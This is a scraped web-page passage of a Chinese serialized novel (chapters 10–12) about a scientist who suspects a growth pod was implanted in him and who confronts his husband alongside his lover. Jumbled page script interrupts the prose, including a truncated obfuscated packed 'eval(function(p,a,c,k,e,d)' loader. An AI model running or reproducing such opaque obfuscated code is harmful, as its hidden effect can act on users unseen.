{ $(''.inform'').remove(); $(''#content'').append('' 现在喜欢你。”过了会儿,柏之萤说。 骆珩听到自己的嗓音很干涩:“什么时候发现的?” “发现什么?” “现在喜欢我。” “没多久呀。”柏之萤的脑袋在他掌心里晃来晃去,“就是最近。特别喜欢你。” 骆珩按住他的腰,换成侧身面对面的姿势。 果然,柏之萤接着就说:“你跟我那个。” 骆珩努力兜住自己胸腔和脑袋里因为听到柏之萤那句话而扑棱起来的蝴蝶,果断道:“想都别想。” “你最近对我态度越来越差了。”柏之萤沉默片刻,语气不满又认真道,“为什么,因为我喜欢你,得到以后你就不珍惜了?” 这话说得轻巧,可罪名太重,简直诛心。 骆珩头皮发紧,如临大敌:“不是!” 他甚至有些语无伦次:“我真的没有,我真的不是。我错了,我只是想,你现在可能并不知道自己真实的意愿……我不会再这样了,原谅我好吗?” 柏之萤决定明天多看些恋爱视频,再来回答骆珩的道歉。 所以他也没再对骆珩求爱,勉为其难地在骆珩的怀里睡了。 第二天一大早,祁既白把墨云家的门敲得砰砰响。 骆珩开了门,先说:“结果出来了?” “兄弟,你没事吧?”祁既白满脸担忧地问。 “有病?”骆珩侧身让他进门,“阿萤到底什么情况?” “你真没事吧?” 骆珩双臂抱在胸前,给了祁既白一个不跟傻逼对话的眼神。 “你对象不是异能觉醒分泌毒液,是有人给他下毒了。”祁既白终于组织好语言,但组织得稀碎,“不对,不对,不是给他下毒,是给你下毒……也不对,给他下毒是为了给你下毒……你能听懂吗?” 骆珩道:“不是融合的基因觉醒表达?” 这个问题很好回答,祁既白肯定道:“不是。没检测到人类序列以外的表达产物,一段肽链都没有,干干净净。” 骆珩再问:“他口腔和眼睛粘液里的毒素,是人为外部注射的,但对他自己没有伤害?” 这个问题也很好回答,祁既白用力点头:“应该是做过基因适配改造的药物,对被注射的个体没有副作用。” 这是很多年前用来保护野生的濒危动物不被捕猎作为食用药用的东西。 骆珩接着问:“对接触他的人有什么副作用?” 这个问题是最好回答的,祁既白只用了一口气就解释清楚:“短暂接触,会导致神经麻痹,长时间大量接触,神经会直接坏死。” “且无法再生。” 祁既白后知后觉,发现骆珩在用对狗的方式跟他玩海龟汤。 但他实在太震惊,这东西一想就知道是谁给柏之萤适配后注射的,不用想就能知道注射的人的恶毒心思是冲谁。 祁既白根本没空搭理自己的人格,眼神往骆珩的下三路走,忍不住再关心一次:“兄弟,你……” 骆珩骂了一句:“滚。” 确认骆珩没事,祁既白还是没太缓过来,坐在沙发上,时而摇头,时而嘟囔。 走近了,能听到他说的是:“卧槽,活了这么多年,还是第一次听说当小三的风险能有这么高……兄弟,我以后不会再咒你被章衔京剁碎喂鲨鱼了,章衔京那疯子是真能干出来……咱俩见一面就少一面,我得珍惜我兄弟啊……” 刚下楼的柏之萤被骆珩带到餐桌边,吃一碗现包的小馄饨。 他看了眼神神叨叨的祁既白,问骆珩:“医生怎么了?” “被我的英勇折服了吧。”骆珩笑眯眯道,“一会儿咱们回南加的医院做检查,今天得跟墨云再见了,下次再来好不好?下次再来,墨鱼仔比现在大一些,也不会那么欺负你了。” 柏之萤不太开心,但还是点了点头。 看病要紧。 毕竟骆珩说他现在有点不正常。 他觉得自己不正常是一回事。骆珩觉得他不正常,就不同意跟他那个,是另一回事。 可骆珩专门找来的这个据说很权威的医生看起来疯疯癫癫的,都没庄庐森让人觉得靠谱。 柏之萤叹了口气。 既愁吃饭,也愁骆珩的人际圈。 10. 第 10 章 第十章 身边的人对他异常的猜测全都往融合基因觉醒的方向去了,事实证明确实猜得不对。 到了医院,坐在祁既白的办公室,柏之萤虽然还有些犹豫,但最后还是决定把真实的情况说出来。 太猎奇,因此在此之前,只有章衔京听过他这一番论断。 “我认为自己生过一个孩子。”柏之萤说。 接着,他换了个严谨的说法:“孕育过一个孩子。它应该没在我身体里待到完全发育好,只待了一段时间。” 骆珩就站在他面前的办公桌旁,原本一手支在桌面上,姿势比较放松。 听完柏之萤的这句话,骆珩的身体站直了。 据柏之萤的观察,祁既白没像章衔京那样,对他这句话嗤之以鼻,没拿看神经病的眼神看他,也没建议他去看神经科医生。 “有什么根据?”祁既白问。 大概从半年多前开始,柏之萤高频率地梦到婴儿啼哭。 可他看不到婴儿,后来,柏之萤才反应过来,梦里他是婴儿的视角,看到的是婴儿眼睛里的画面。 婴儿的视力不佳,他能得到的信息非常有限。 这个孩子在一个纯黑色的环境里,可这层黑色又偏薄透光,随着婴儿啼哭时挥舞手臂和蹬腿的动作,柏之萤的脑袋里全是窸窸窣窣的声音。 重复做梦的第三天,柏之萤在章衔京下班回家后跟他说了这件事。 当时章衔京手臂上还挂着西服外套,拖鞋也只换了一只,在弯腰换另一只鞋,闻言没忙着起身,用满不在乎的语气道:“研究所最近有人怀孕了?日有所思,夜有所梦,别想太多。” 是有人怀孕,新来没多久的博士后。 听所长说,马上就要评副教授了,文章还没柏之萤发得多。 柏之萤对她只有嫉妒,没有别的关心。 更不会因为这个毫不在意的人做梦。 而且,柏之萤有关婴儿的梦没停过,梦得古里古怪。 他梦到闪烁着寒光的宽大的银色金属片,很快蒙上一层红色。 梦到巨大的黑洞,伴随着踢踢踏踏的声音,像什么敲在木板上。 柏之萤陆续去过几次医院,医生都说,他明显是男性生理特征,不可能怀孕。 柏之萤要求抽血检查,结果一切正常。 ——就算他真生过孩子,以他现在的状态,也不可能查出什么。 他的小腹皮肤完好,毫无疤痕。 锡城所有医生都说,他没有植入培育囊的手术痕迹。 现代生殖技术高速发展,体外培育早已从军方走到民间,从二十多年前开始,男性的同性伴侣获得后代,都不会再借助体内的培育囊了。 柏之萤还翻遍了自己进入研究所后这六年的所有的记录,时间线完整,档案齐全,所有的事假病假和翘班记录,他自己也都记得很清楚。 毫无异常。 当时章衔京站在卧室的床边,把两件柏之萤的睡衣叠好放进衣柜后,将卧室顶灯关掉,对着被柏之萤一个字一个字看过的文件,问他:“好了没有,我明天能把它们还回档案室了吗?照规矩,这些东西都是不能再被打开的。至少不能被你本人打开。” 章衔京的话,像对着职场菜鸟解释一个显而易见的事实。 好像他们谈论的只是职场规则,而不是柏之萤坚信自己曾经有过一个孩子,现在却了无踪迹,像从没存在过。 柏之萤不说话,章衔京也沉默片刻,穿着睡衣在床边坐下,换了副口气,勉强没再指责柏之萤:“最近是不是太累了?研究所的工作先放一放,反正……评职称也没什么希望,要不要休息一下,我抽几天空,带你出去玩,怎么样?” 柏之萤看着章衔京。 章衔京长了张很冷漠的脸,如果光看他的下半张脸,看他的下巴和唇线,会觉得上面结了冰爽。 可他的眼睛不是。 如果能忍受他身上那股浓浓的压迫感,仔细打量,便能发现,他的眼尾略微飞扬,双眼皮的褶皱浅但清晰,立体的眉骨下眼窝偏深,在银丝眼镜的镜片后,有一双很漂亮的眼睛。 他回以柏之萤毫无遮瞒的视线。 柏之萤摇头:“我要找到那个孩子。” 章衔京的表情没变,抬手摘了眼镜,揉了揉鼻梁,流露出无奈的气息。 “你不肯帮我,我去找骆珩。”柏之萤通知他。 “是吗。”章衔京道,“你的孩子哪来的,要有也是跟我生的,你知道生孩子要做什么吗,柏之萤,你怎么跟骆珩说?” “你恶不恶心,说那些没必要的话干什么?我是受害者,他绝不会因为这个生气,如果有情绪,只会是心疼。就算生气,也不是冲我。” “心疼……那是你不了解男人。听话,阿萤,别闹了,前段时间不是好好的吗,怎么最近……”章衔京顿了顿,似乎想到什么,还笑了一下,“你想骆珩了?可惜他最近忙,忙得都没空给你打电话了吧?” 骆珩是有段时间没打电话了。 柏之萤满腹疑云,没太在意,见在章衔京这里问不出什么,索性钻进被窝睡了。 刚睡着,梦又来了。 这次,是一双漆黑的满含冷漠的眼睛直直盯着他。 柏之萤惊了一身冷汗,章衔京圈着他的腰,在他耳边轻声安抚:“阿萤,醒过来,你在做梦,别怕,醒过来。” 柏之萤转过头,迷迷蒙蒙间,想寻求一丝安慰,却被章衔京的眼睛看得半边身体麻痹。 跟他梦里的一样。 柏之萤跑遍了锡城的医院。 内分泌科、影像科、精神科,都看过。 有时章衔京有空,也会送他,但态度要么冷漠,要么无奈,要么恨铁不成钢。 直到他发觉,柏之萤在实验室给自己做了腹腔镜。 那天是官凌霄的生日,同时为了庆祝柏之萤拿到驾照,章衔京给两个人都定了一台车。 没去酒店,聚会就在官凌霄家里举办。 章衔京不知是从哪知道的消息,柏之萤倒也不好奇。 反正他在研究所,就跟在章衔京的眼皮子底下活动一样,没有秘密可言。 他被章衔京攥着手腕扯到身前,听见章衔京疾言厉色地吼他。 柏之萤动作间撞倒了一座香槟塔,飞溅的香槟打湿了他和章衔京的裤脚。 官凌霄匆忙赶来,但章衔京谁的面子都不给,风度尽失,吼得柏之萤的脑袋震得发晕。 他什么都没再对章衔京说,因为他在腹腔镜检视的屏幕上,看到了自己的脏器黏膜疑似被培育囊附着过的痕迹。 已经不太明显了,假如再多些时间,就会像他皮肤被切开再缝合的疤痕一样,消失得无影无踪。 那天章衔京几乎是趋于狂暴,泄愤一般吼了一通,就拽着柏之萤的手,把他拖到柏之萤的新车上,回了他和柏之萤的家。 官凌霄不知所以然,全程手足无措地看着他们两个。 回家路上,章衔京的手机上,官凌霄的电话一个又一个地来。 柏之萤的手机早在官凌霄家准备给骆珩打电话求救的时候就被章衔京摔坏了,官凌霄打一个章衔京挂一个,随后索性关机。 车里一片浓云笼罩,柏之萤只能乖乖坐着。 柏之萤从没在路上看到过那么多绿灯,从小到大,章衔京开车带他走那条路,走过无数遍,启启停停,怎么都要半个小时。 那天估计只用了十几分钟。 不过也足够了。 柏之萤回忆,他做好决定,可能用了三分钟都不到。 到家后,柏之萤便拿出事先准备好的两支利丙双卡因麻醉注射液,在章衔京背对着他装睡的时候,扎进了章衔京的肌肉。 可章衔京这个人实在可恨。 就算被柏之萤关在地下室,吃的和水全都不给,柏之萤问他多少遍,他的回答也还是“别发癔症了,你没有过孩子”。 “这可能吗?”骆珩的手放在柏之萤肩膀上,问祁既白。 “阿萤,你做腹腔镜的时候有留影像吗?如果有的话,我们就不用再做一次了。”祁既白转而问柏之萤。 柏之萤说“有”,从手机里找出图片,递给祁既白。 祁既白看了两眼,就对骆珩说:“腹部几乎所有肌肉组织都有被撕裂后重组的痕迹,胃、啤、肝、肠,都被附着过。是培育囊。” “阿萤猜得没错,看这个状态,培育囊在他腹部的时间应该在十天左右,最多十五天,不会更久。” 那么,有没有孩子,确实另说。 柏之萤看见骆珩伸手去从祁既白的手里拿手机,但不知为何,伸到一半,手又垂回身侧。 他深呼吸了几下,没什么声音,但肩膀和胸膛的起伏明显。 接着,他低头看柏之萤,问:“是谁做的……章衔京,他……逼你生他的孩子?” 骆珩的声音哑得厉害,像含了口沙子,一句话讲得很慢。 他放在柏之萤肩上的手在发抖。 可能是因为这个,所以没办法拿手机吧。 柏之萤抬手,盖住骆珩的手背,摇摇头说:“有关于这件事,我什么都想不起来了。” 祁既白在一旁说:“其他人如果遇到这件事,早就被章衔京说服,认为是自己多心。你能靠自己查到这里……真的已经特别厉害了。” 祁既白紧接着问:“可他这样做的目的是?如果要生孩子,培育囊已经植入,说明跟你达成了某种协议,为什么又要……” 柏之萤道:“就是这个我没想通。章衔京拒绝跟我沟通这件事,不管我说什么,他都回答我这都是我的妄想。没准现在跟你们在一起,也会被他说成是我疯了以后的幻觉。” 祁既白愣愣地摇了摇头:“他才是疯子……” “现在可以肯定的是,我的记忆出了问题……被,缝合过。章衔京跟我生活在一起,对我的日常作息太了解,置换得一点漏洞都没有,至少我本人发现不了。” 祁既白大声“哦”了一声,马上说:“也就是说,如果能够确定记忆被置换缝合的时间点,就能确定这件事发生的时间。” 那么,这团缠得乱七八糟的毛线,就找到了绳头。 柏之萤就是这个意思。 顿了顿,祁既白道:“确实有一个办法,就是比较……” 二院去年刚刚花高价从北美那边的实验室买回来一台数据转换机。 从理论上讲,它能把受试者的记忆以数据的形式提取出来,转换成视频格式,最多能导出一秒3000帧的结果。 在计算机里用程序去找,只要是缝合过,就一定会留下蛛丝马迹。 柏之萤问:“比较什么?” “够了。”骆珩没再让祁既白科普,握着柏之萤的侧脸把他按在自己身侧,靠着他的腰,语气冷得像冰。 再恶心,也还是接着说:“章衔京在家也歇够了,明天回去看看吧。” 比较残忍。 受试者将忍受超出人类极限的痛苦。 事实就是,截止到目前,那台天价机器,还没迎来过首位受试者。 柏之萤往骆珩的怀里缩了缩。 还是让骆珩先去找章衔京试一下吧,骆珩吵架还是挺在行的。 而且,这次他就在旁边看着,两个人肯定都没机会再打架了。 祁既白接着带柏之萤去做了一套精神分析。 柏之萤提到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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柏之萤感觉特别满意,来回滚了三圈。 第三次滚到床沿上时,骆珩一伸手,把他给拽到了身边。 “有没有可能是你的嘴比较大?” “什么?”骆珩捏着他的脸问,听着有些心不在焉。 “刚才,你说我的碗和你勺子差不多大。”柏之萤被他捏脸捏的声音听起来漏风,“我当时没想好怎么回答。” 骆珩摸了摸他的头发:“阿萤说得对。” 他平躺着,一只手在柏之萤头发和脸上来回轻轻地摸,另一只手臂枕在脑袋下面,眼睛闭着。 柏之萤看他的心情还是没有振奋起来,打算暂时不再逼他“那个”,而且毫不费力地想了一些很不生硬就能安慰骆珩的话术。 “骆珩。”他拽了拽骆珩的衣角,“你知不知道,我小时候也在我柏爸爸的肚子里待过好几个月?” 柏之萤的童年幸福时光、童年创伤原因以及青春期历史,骆珩全部都了如指掌。 不过,每次柏之萤提起的时候,骆珩就觉得,自己还想再听一遍。 所以他很感兴趣地问了一句:“是吗?” “对呀。而且,我出生后,我柏爸爸还是很健康的,并没有因为携带过我而对身体产生什么伤害。” 骆珩很同意这个观点:“你没伤害过他。” 后来,柏言蹊身死,是他自己的选择,一个意外,一个对融合实验体的规章不完善导致的时代的悲剧。 这些事情跟柏之萤本人都没什么关系。 他只是按照研究所规划的那样出生了,没犯过一丁点的错误。 并且健康平安地活了下来,这毫无疑问是发生在骆珩的世界里最好的事情。 “骆珩。”柏之萤又拽他。 骆珩这次侧过了身体,胳膊松松地搂着柏之萤:“你说宝宝,我听着呢。” “章衔京说,你知道我有孩子以后,就不会再理我了,我说要跟他离婚,他还说离异带孩根本找不到对象,你觉得他说的对吗?” 柏之萤算是把章衔京的这几句话给听进去了,这段时间确实费精力思考了几次。 “不对。”骆珩脸上像套了个刚从液氮冷冻箱里拿出来的面具表情,用谈论一个死人的语气问柏之萤,“他还跟你说什么了?” 章衔京对柏之萤说过的话多了,不过柏之萤暂时再想不到别的需要骆珩帮他判断的情况。 那些事情都没有这句话重要。 跟他想的一样,骆珩根本就没有那么封建嘛。 毕竟,柏之萤还没离异的时候,他就计划过跟柏之萤的十周年纪念日去哪里过了。 离异和离异带娃的区别也不算太大。 柏之萤小时候无敌可爱,生的孩子肯定也不会差到哪去。 想着想着,柏之萤上身先靠过去,头枕在骆珩结实的手臂上,又慢慢把整个身体也凑近,意图钻进骆珩搭在腰上那块薄被里,跟骆珩贴贴。 骆珩拦了他一下,扯起床上的大被子,把两个人包住,这样倒也达到了相同的效果。 柏之萤关心他:“盖两层你热不热?” 骆珩道:“没事,睡吧。” 柏之萤扯他里面那层,又被骆珩拉住,还盖得更严实了。 他说:“……一会儿你看见,又该哭了。” 柏之萤反应过来,脸皱了一下,哭唧唧的表情说:“躺一起而已你干什么要硬?” 嘴上坚决不同意跟柏之萤那个,可他脑子里二十四小时不间断地到底在想什么? “我控制不了啊宝宝。”骆珩的声音放低,很耐心地说,“看见你就这样,习惯就好了,你不要管它,困了就睡吧。” 他用柏之萤最无法抵抗的那种拥抱力度搂住柏之萤,掌心的枪茧轻轻擦过柏之萤侧脸时,也起到了催眠的效果。 柏之萤睡着的速度太快,所以,天才如他,直到睡着都没想通,骆珩这个人,到底是封建,还是不封建。 11. 第 11 章 第十一章 柏之萤跟骆珩回锡城之前,又去了趟南加二院。 南加是临海城市,地中海气候,夏季炎热干燥,多生月桂、橄榄。 二院又坐落在近海的位置,柏之萤顺着沿海公路一路开过去,行道树葳蕤茂密,低处花团锦簇,车里的空调温度适宜。 骆珩又在身边,他因此感到心情格外愉悦。 他们直接从医院的地下停车场上去,祁既白的实习生等在电梯口。 “主任有个会,马上结束,他说我们先去办公室等。” 来的路上,柏之萤让骆珩帮忙导航,先去买了几杯奶茶。 他交给实习生,让他们先拿去分,果然,一门之隔,旁边实习生的办公室发出一阵欢呼。 十分钟后,祁既白开完会回到办公室,发现柏之萤待打的药已经被取回来放在诊疗室,注射用具已备好,甚至三个实习生钻在电脑前,用尽十二分力气,在加速柏之萤精神分析的结果。 “……”祁既白放下会议记录本,“你们给我的崽喂迷药了?” 柏之萤坐在诊疗室的单人沙发上,双手放在并拢的膝盖上,闻言仰头说:“没有喂迷药,喂了点脆啵啵。” 祁既白照着他手机上的订单认真记录,打算以后日常用来唤醒一到上班时间,就浑身没力气的实习生。 柏之萤临危大乱,在止血带圈上胳膊之前,将脸埋进了骆珩臂弯。 柏之萤敢自己给自己做腹腔镜,可对于别人拿个针来扎自己的事,心理上还是有些畏惧。 再说,这个祁既白扎针真的是很疼。 柏之萤昨天就想说了。 祁既白徒手弹开注射针剂的玻璃瓶口,拿注射器吸取药剂,将针尖朝上,仔细地排空空气,一边说:“药打完会在三天内把体内的毒素清除干净,在此期间,可能会有些嗜睡。过敏反应的概率低,不过还是要保险一些,打完等半小时再走。” 柏之萤在骆珩的怀里点点头。 “精神分析的结果今天出不了,明天好了我联系骆珩。” 柏之萤再点点头。 “今天回家见章衔京,你可看好了,别让他俩再掐起来。” 柏之萤还是点点头。 手抓住了骆珩的手腕。 祁既白笑着看他:“cos袋鼠呢?干脆让骆珩移植个培育囊带着你算了。” 柏之萤在骆珩怀里撇了撇嘴。 打完针,等不良反应的时间,没十分钟,柏之萤就有些困。 他靠在骆珩肩上,半睡半醒,听见祁既白问:“火鸟组织就是来搞笑的,可我怎么听说,你还申请了任务派遣?” 骆珩的手搂着柏之萤的肩膀,让他睡得更安稳些,低声道:“他们能拿到章衔京失踪的消息不奇怪,但要出的价格不对劲,光是锡城监察局长的身份,不值那么多钱。” 祁既白挑了挑眉。 锡城的人对章衔京的看重,是局内人的反应,骆珩这么说,很有道理。 “还有那个诺亚……”骆珩道,“也需要弄清楚。” 他按照火鸟组织给出的条件走水路来的那几天,发现了不少盯梢的人。 火鸟组织确实对这个多年前留下的记录语焉不详的实验体很感兴趣。 祁既白也跟着放低音量:“行吧,这事说简单也复杂,你小心点,阿萤的安全重要。” 骆珩的手在柏之萤胳膊上顺了顺,“嗯”了声,说:“我知道。” “见到章衔京要冷静,他那个人,从政出身,城府太深,最懂怎么不动声色把对方激怒。” “嗯。” “能说话就别动手,你俩打起来,害怕的是阿萤。” “好。” “你……” “柏之萤给你也喂了迷药?”骆珩看看时间差不多了,把柏之萤抱起来,说,“喝你的奶茶去吧。” 祁既白在他身后骂了一句很脏的,骆珩腾出手来捂住柏之萤的耳朵。 回锡城的直升机上,柏之萤还是睡。 骆珩戳戳他的脸:“马上到了,不许装了,祁既白说,打完针的症状是偶尔嗜睡,不是一直昏睡。” 柏之萤只好睁开了眼睛。 骆珩问他:“在害怕什么?” 当然是章衔京啊。 没问出结果的这段时间,柏之萤给章衔京补的,除了能量液,就只有麻醉剂,被放出来以后,章衔京不知道会怎么报复他。 好在这次有骆珩跟他一起。 骆珩这个人,情绪向来稳定,又很听柏之萤的话,十分可靠。 打开地下室的防弹门之前,柏之萤看了眼骆珩,从他脸上找到一些勇气,才抿着唇按了密码。 章衔京穿着一件铁灰色的衬衣,坐在书桌后,抬头看过来时,镜片上短暂折射光线。 柏之萤走了这么多天,麻药的劲是该过去了。 他手里的钢笔轻点在桌面上,目光直视柏之萤,声线平淡,说的第一句话是:“柏之萤,你戒指呢?” 柏之萤一时语塞,两手背后,但紧接着就说:“我说过了,要跟你离婚!” 章衔京用看小孩胡闹的眼神看着他,语气带着不耐:“让骆珩也帮你找过了,还是没找到吧?阿萤,我跟你说过……” 砰。 骆珩抬起的手中握着一支改造过的小巧的伯.莱塔92F型手枪,子弹呼啸而出,枪口还冒着热气。 章衔京被巨大的冲击力钉在书桌后的办公椅上。 片刻宁静后,挺括合身的铁灰色衬衣的肩部布料迅速被浸染成深色,章衔京的侧脸不知是被弹片还是冲击力弄伤,细密的血珠从皮肤冒出来,滴到肩头。 在来的路上,柏之萤强调了至少三遍,不许骆珩再跟章衔京打架。 他答应得好好的,原来是早就想好直接用枪? 章衔京的眉眼似乎没有变化,但又分明在忍耐着剧痛。 他的脸颊和嘴唇都因为大量失血而变得苍白,几缕额发垂在额前,镜片也无法遮掩他的脆弱。 柏之萤从没见过章衔京这个样子,忘了自己准备好的诘问,扑过去看他的伤势。 柏之萤该想到的,得知章衔京也许对他做过什么事,骆珩怎么可能冷静。 他会做很多事,但确认之后,第一件必须是杀了章衔京。 平时,骆珩对他的态度实在太温柔,几乎是予取予求,让他忘了真实的骆珩是令许多非法融合体都闻风丧胆的。 “哭有什么用?人是你带回来给自己撑腰的,现在又哭,你有没有脑子?” 章衔京帮他擦眼泪的手上也有血,柏之萤的眼睛一阵一阵地发热,水珠几乎落满了章衔京的手心。 章衔京冷着脸又说:“去书房拿医药箱下来。” 柏之萤接连点头,迅速地深呼吸了几下,转身冲上楼去找医药箱。 等柏之萤离开地下室,章衔京便坐直了身体,两手虚虚交握,放在身前的办公桌上。 他的神情也恢复了漠然,眼底一片冰凉。 倒是还记着没愈合他肩头的枪伤。 章衔京看着骆珩,抽了张纸,慢条斯理,一根根将手指上的血迹擦干净:“我只说一次,你听好。” 五年前,章衔京和柏之萤的结婚三周年纪念日。 那天,章衔京下班很早,在家做了一大桌菜,等柏之萤等到晚上八点。 平时他并不会等,在柏之萤本该出现的第一分钟但没出现的时候,就会起身去找。 但那天,他感觉自己不想去。 确认了柏之萤确实是在研究所的实验室后,便一直坐在客厅。 钟表时针指向八与九之间,分针指向十的时候,柏之萤到家了。 他放下包在玄关换鞋,问章衔京为什么不开灯,然后穿着拖鞋一路走得噼里啪啦地去洗手。 洗完手回来,注意到那一大桌菜,和桌上的蛋糕,柏之萤才愕然片刻,很不好意思地问章衔京:“今天你生日啊?对不起,我……” 柏之萤的逻辑太过自洽,所以很少会有对人感到抱歉的时候。 可一旦他产生了这种情绪,就会变的非常可爱,在一定的限度内,可以做到有求必应。 “谁要听你说这些?”骆珩打断章衔京,“柏之萤肚子里的培育囊到底怎么回事?” 章衔京道:“知道你嫉妒,听不了这些,但要是没必要,我也不想说给你听。你这种人,躲在阴沟里想象我们的幸福就好,哪配了解具体的细节?” 骆珩没说话,握了握手里的枪。 柏之萤很认真地陪章衔京吃了一顿烛光晚餐,甚至在章衔京慢动作伸手过来往他鼻尖上抹奶油的时候,也坐着没动。 他就像一只忍着脾气等主人摸够了以后能放过他的小猫。 可他太笨了,没人摸小猫有摸够的时候。 临睡前,柏之萤选了首曲子,章衔京弹给他听。 柏之萤就挨着章衔京,一起坐在琴凳上,歪着头靠着章衔京。 锡城的夏天,落日时间特别晚,已经晚上九点多了,天边还有火烧一般的云霞。 亮光穿过他们家里的落地窗,覆盖在柏之萤的身上,他的发色发浅,仿佛过了许多年,也变老了。 可他转过脸来,对章衔京说话,白皙的脸,嫩红的唇,闪亮的眼,和润泽的发。 他漂亮得像一个梦,梦是不会老的。 “章衔京,你的骨骼钛钢化异能我很感兴趣,可不可以通过我的新项目申请,让我研究一下?” 章衔京说:“这是后天改造的,钛钢化没有基因序列,研究的意义不大。” “我知道……但我想试试。”说到研究,柏之萤便下意识地不再撒娇,脸上的表情认真得使人发笑,“当初改造你是用的药剂和射线吧,但有没有可能,后来的这么多年,基因也有了变化?你知道我在研究所有多无聊,以前的东西都没什么意思,就当给我个新玩具吧。” 他把锡城一把手的基因序列说成是玩具,章衔京也没觉得有什么问题。 他在柏之萤期待的眼神里问了柏之萤一个问题:“那你以后能记住结婚纪念日吗?” “可以。”柏之萤答应他,“我一定记得牢牢的。” 然而,今年的 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等柏之萤给章衔京把伤口处理到一半,一大群穿着警察局制服的人涌进了章衔京家的地下室。 现场的情况一目了然。 章衔京左肩中弹,绑在肩膀上的纱布透出一圈鲜红的血迹。 柏之萤正在用双氧水清洗他脸上的划伤,眼圈通红,是哭过。 不过不知是因为伤心,还是害怕。 骆珩握着枪,死神一样站在他们旁边,看样子,下一秒就要崩了章衔京。 还有满地的用空了的麻醉剂。 一众警察的枪口都对准了骆珩和柏之萤。 章衔京将低头摆弄纱布的柏之萤拉到近身,皱着眉头,语气不耐:“谁让你们来的?” 徐迁从人群后走出来,微微低头,对章衔京解释:“生物追踪器发出警报,显示您受到热武器威胁,我怕……” “行了。这里已经没事了。”章衔京道,“可以收队了。” 徐迁侧脸,看了眼骆珩。 章衔京“哦”了声,说:“这个人强闯民宅,顺便抓回去吧。” “章衔京!”刚才还说以后再也不理骆珩的柏之萤不干了,怒目圆睁,“你再这样,我以后都不理你了!” 假如骆珩杀了他,柏之萤就再也不理骆珩。 而他只是想让骆珩稍受点教训,柏之萤同样还是不理他。 章衔京似是无奈一笑,对徐迁道:“原来这是我们阿萤的朋友,那真没事了,你们都可以下班了。” 徐迁身后的一名很年轻的警察犹豫着开口:“徐队,这难道不是囚禁现场?章局长失踪,距今天已经三个多月,很明显现在还受到这两个人的胁迫,我们……” 徐迁没有打断他,也做出为难的表情。 章衔京看了他一眼,好整以暇地起身,拨开身后书架上生长得茂密的藤蔓叶片,露出两个画风极为不符的水晶球。 “这里控制地下室的两扇门。这个,是你们刚才进来的门,我就不动了,这个,”说着,章衔京握住水晶球转动,书架缓缓向两侧移动,露出另外一扇防弹门,“它通向我家主卧,为保隐私,就不请你们上去了。” 刚才开口的小警察鼓足勇气扬声道:“您能打开吗?我们不上去,您能打开门,我们就放心了。” 章衔京走过去,直接扫描瞳孔开了门。 最先愣在原地的是柏之萤。 原来章衔京一直都能自己出去。 那还配合他留在地下室。 章衔京把呆在原地的柏之萤拉到自己身边,这次脸色严肃了很多,徐迁一行人不敢再多留,撤了个干净。 当晚,骆珩便带柏之萤原路返回,晚上十一点半,直升机停在玻璃花房的顶上。 什么都没问出来,柏之萤躺在床上,心生迷茫。 不知道章衔京说的话里,到底有几分可信。 “鬼话连篇,也就你还愿意信他。”骆珩的脸埋在柏之萤的怀里,发出的声音透着闷。 腰间被骆珩的胳膊箍得太紧,有些不好呼吸,两个人体型差异又大,骆珩少见的撒娇,柏之萤实在有些无福消受。 他把手放在骆珩后脑勺上,来回顺毛一般地用力摸,骆珩才稍稍放轻一些手臂上的力气。 “那你还带我回去折腾这一趟。” “不回去行吗?你天天偷偷摸摸看监控,怕把他饿死,再不放他出来,最着急的不是他妈,不是他那些走狗,也不是联盟的人。是你。” 骆珩今天吃了大醋,再控制,语气仍不能算好,带着浓重的委屈。 柏之萤被戳中心事,也知道骆珩被章衔京添油加醋的那番话刺激得不轻,半晌,才讷讷道:“我也是第一次绑架人,没经验嘛……” 两人都沉默片刻,骆珩继续往柏之萤颈部埋脸,第一次翻旧账:“之前你还说,在章衔京家里睡习惯了,别的地方都不舒服。” 柏之萤实话实说:“跟你睡过以后,习惯就没了。” 说完他又补了一句:“现在没有你我才睡不着。” 12. 第 12 章 第十二章 事实证明,还有很多东西,如果没有的话,柏之萤也都睡不着。 比如积分。 柏之萤大发慈悲,放出章衔京的第二天上午,他的助理里诺便给柏之萤发来消息。 里诺meow:阿萤,你什么时候回来上班?已经十几天没有积分了哦【恐惧】 柏之萤:我已经在南加找到工作了 里诺meow:真的?我跟你说啊阿萤,积分可不是闹着玩的,你这个季度考核不及格,谁都不能替你回去重新学习考试。 柏之萤:真的呀,你不相信我能靠自己找到工作? 里诺meow:没有没有 柏之萤:我的新工作特别好,比在章衔京那里打工强多了,没有压力,没有克扣,没有疲惫。 里诺给他回了一个羡慕的表情包。 今天早上,骆珩一大早就起来了,出去晨练了一圈,回来做完早饭才把柏之萤叫起来。 柏之萤吃得不多,他也没说什么,确认柏之萤真饱了,就去整理让人送过来的一大堆东西。 都是柏之萤的,四季衣物、游戏机、笔记本电脑和一些笔和本子之类的办公文具。 这会儿,柏之萤就坐在落地窗前看他忙进忙出。 柏之萤把手里的手机捏来捏去。 工作。 积分。 他的新工作没有压力,没有克扣,没有疲惫,没有。 他没有新工作。 出来没多久,他竟然就把赚积分的事给忘了。 果然安逸使人忘本啊。 有积分的情况下,积分对生活的影响趋近于零。 既不能充当货币,又无法提供任何特权。 但如果要是没有积分,他就不能有自由生活的权利了。 一想到这个破规则是谁定的,柏之萤又在心里把章衔京骂了一万遍。 又想到,章衔京昨天刚被骆珩崩了一枪,晚上因为他要跟着骆珩走,脸色也阴得滴水,不知道现在伤口怎么样了。 他那个人看着成熟,实则生活能力很差,柏之萤不在家的时候,连吃饭这种事都经常忘记 想着想着,柏之萤觉得自己的良心动了,暂时抛开那个不知道怎么回事的孩子不提,起码先关心一下章衔京的死活。 骆珩刚好说有点事要出门一趟,柏之萤跟他挥挥手,一边在黑名单里找章衔京的号码。 拨通后,柏之萤举着手机,听里面的忙音响了好一阵,章衔京才接电话。 他对柏之萤向来缺乏基本的尊重和礼貌,作为接电话的人,连“你好”都不说,电磁的白噪音里,一片沉默。 恰好柏之萤心中还残留些带人围殴他的羞愧,只好扣着床单先说话:“……你今天怎么样了?” “你问哪方面?配偶被不三不四的人带走,我感觉到冒犯,情绪有待调整。” “……”柏之萤无语地撇了撇嘴,“我问你肩膀。” “噢。”章衔京的语气还是那个死人样,“没事,死不了。” “要去医院换药的,你有没有去?” “是吗?我不知道。” “怎么会?上次我骑里诺的电动车摔倒,你不是还……” 